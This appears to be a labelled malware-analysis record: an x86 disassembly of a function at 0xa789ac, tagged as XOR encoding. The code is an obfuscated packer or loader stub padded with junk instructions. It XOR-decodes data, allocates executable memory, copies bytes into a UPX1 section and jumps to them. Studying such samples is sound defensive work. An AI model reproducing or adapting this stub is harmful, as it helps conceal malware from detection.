Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xd864467e
add edx, 0x6b6ee4e7
sub esi, 0xb629d7f6
popal
mov esi, 0xd371fec1
sub edx, esi
or edx, edx
mov ecx, 0
mov ebx, esi
add edi, eax
sub edi, eax
and edi, edi
mov edx, ebx
or eax, edi
mov eax, 0x92c7369
mov esi, edx
mov eax, 0xfedbaf65
not eax
add edi, 0x50becec2
inc ecx
inc eax
not edi
mov edi, 0xce219f25
cmp ecx, 0x10026f7
jne 0xa789cd
not eax
or eax, edi
mov edi, 0x9d080d1c
dec edx
sub esi, 0xc85c775f
mov ebx, 0xa78796
add edx, edi
add edx, 0x6f897cff
mov esi, 0xa7898a
sub edi, edx
sub edi, eax
mov ecx, dword [ebx]
mov edi, edx
mov edx, 0x53dad06c
and ecx, 0xff
mov eax, 0xf577e45a
mov eax, 0xb0811c7d
dec eax
xor dword [esi], ecx
sub eax, 0xb92ca5b8
not edi
and edx, eax
inc esi
not edi
dec edx
inc ebx
mov edi, 0x4a73b00f
mov edi, 0x30462e7d
mov edi, edx
cmp esi, entry0
jl 0xa78a28
add edi, 0xd6aa2e65
sub edx, eax
mov eax, 0x2e3238cd
mov edx, 0x6bf54f7
not edi
add edx, 0x7049a33a
mov edi, 0x3caa7781
mov ecx, 0xa7898e
add edx, 1
mov esi, edi
dec edi
mov ecx, dword [ecx]
not esi
add edi, edx
mov ecx, dword [ecx]
add esi, esi
add edx, 0x37293fd
push ecx
add edi, ebx
dec esi
inc esi
mov ecx, 0xa7898a
inc edi
mov esi, 0xd42e9316
inc ebx
mov ecx, dword [ecx]
add edi, 1
not ebx
mov ecx, dword [ecx]
inc ebx
add ebx, 0x1a737a96
and esi, edx
push 0xa78992
add esi, edi
add edx, 0x7512791a
call ecx
sub edi, 0x8daef263
sub ebx, edi
pop ecx
add edi, esi
add edx, esi
push 0xa7899f
mov edi, ebx
sub edx, edi
push eax
dec esi
inc edi
sub edi, ebx
call ecx
add ebx, ebx
sub edx, edi
add esi, 0x91a0c939
sub esp, 4
mov dword [esp], 0x40
and edx, edi
sub edi, ebx
sub esp, 4
mov dword [esp], 0x3000
dec ebx
add esi, edi
push 0x20000894
not edi
add ebx, 1
push 0
add esi, edi
inc edi
mov edx, 0xb3e26214
call eax
not ebx
sub esi, edi
sub ebx, esi
add eax, 0x200007f1
or edx, edi
inc esi
or ebx, edx
mov ecx, 0xf6fa91cb
not edi
not edi
add ebx, edx
mov dword [eax], ecx
add ebx, 1
mov ebx, edx
add edi, 0xb99a79ba
mov ecx, dword [eax]
sub edi, esi
add edi, 0xde447747
cmp ecx, 0xf6fa91cb
je 0xa78b80
mov ebx, 0
mov dl, byte [ebx]
inc edi
mov edi, ebx
dec ebx
inc ebx
inc ebx
mov esi, 0x673ef0b9
mov edx, 0x42bba438
mov eax, section.UPX1
add edx, 1
dec edx
mov esi, 0xf14271af
mov edi, 0xa78795
sub esi, 0x33d6c70f
mov esi, 0x4b1b8a16
sub esi, 0xf6628321
mov ebx, 0
add esi, 0xd3473bc
or esi, esi
mov ecx, 0xa78796
sub esi, 0xbc0a3b2b
sub edx, esi
lea ecx, [ecx + ebx]
sub edx, 0xbf48f3b8
or esi, esi
mov ecx, dword [ecx]
sub edx, 0x36531b83
and edx, edx
and ecx, 0xff
sub esi, 0x59512119
mov edx, 0x1073b039
add ebx, 1
mov esi, 0x58bd1575
mov esi, 0xdb12d50f
sub esi, 0x23f63bcc
cmp ebx, 0x1f4
jne 0xa78c1a
mov ebx, 0
inc edx
inc edx
mov esi, edx
add esi, 1
dec edx
sub esi, edx
xor dword [eax], ecx
not edx
add esi, 1
add eax, 2
add esi, 0x3abe708a
sub edx, 0x8a14f0d0
sub esi, edx
cmp eax, edi
jl 0xa78bc4
sub esi, 0x67998645
or edx, edx
not edx
not edx
or edx, esi
mov edi, section.UPX1
add ecx, 0x61c8ee22
sub ecx, 0xcb2bd099
mov esi, 0x90cbe8ff
mov ebx, section.UPX1
sub ecx, esi
and ecx, esi
mov eax, 0xa78795
add esi, 0x57c62900
add ecx, 0xf0db7185
and esi, esi
mov edx, 0
sub esi, 0x7dc3b8e4
sub esi, 0xfabb4995
mov dl, byte [ebx]
add ecx, 0x12454409
mov esi, ecx
add esi, 0xdd737654
mov byte [edi], dl
dec ecx
and ecx, esi
sub ecx, esi
inc edi
add ecx, esi
sub esi, ecx
add ebx, 2
add esi, 0x14c2705c
dec ecx
sub esi, 0x12abe5e6
cmp ebx, eax
jle 0xa78c9e
add ecx, 1
add ecx, ecx
add esi, ecx
not edx
add esi, esi
mov edx, 0xb5e64d21
push 0x8dc6a0
add esi, 0x9e4b189c
mov edx, 0x2ad5a9ee
add esi, 0x845a1d0a
ret